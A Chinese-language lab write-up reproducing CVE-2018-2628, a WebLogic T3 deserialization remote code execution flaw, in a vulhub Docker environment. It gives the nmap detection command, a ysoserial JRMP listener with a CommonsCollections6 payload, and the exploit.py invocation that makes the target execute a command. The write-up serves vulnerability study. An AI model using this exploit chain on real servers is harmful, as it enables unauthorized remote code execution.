参考文献:https://github.com/vulhub/vulhub/tree/e9509e2893909c3147fc33e804c34fabdffbdf3b/weblogic/CVE-2018-2628
https://paper.seebug.org/584/
http://www.admintony.com/CVE-2018-2628-WebLogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.html
影响范围
1 | Weblogic 10.3.6.0 |
JRMP(Java远程方法协议)
- JRMP是Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。该协议只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。
- RMI:远程方法调用(Remote Method Invocation)。能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。
运行weblogic测试环境
1 | /CVE-2018-2628# docker-compose up -d |
访问http://xxxx:7001/console,初始化整个环境
漏洞复现
- 检测weblogic版本信息和t3协议是否开启
1
nmap -v -n --script weblogic-t3-info 靶机ip - p7001,7002
- 启动一个JRMP Server:
1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'touch /tmp/sheng'
weblogic中的依赖jar中,使用了CommonsCollections 3.2.0
。在rmi远程记载后,对加载的内容进行反序列化时,将会触发RCE。所以poc使用CommonsCollections
- 使用exploit.py脚本,向目标Weblogic(
http://靶机ip:7001
)发送数据包:1
python2 exploit.py 靶机ip 7001 ysoserial.jar 本机ip 7777 JRMPClient
PS:[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。
- 执行完成后,在靶机上输入
docker-compose exec weblogic bash
进入容器中,可见/tmp/sheng
已成功创建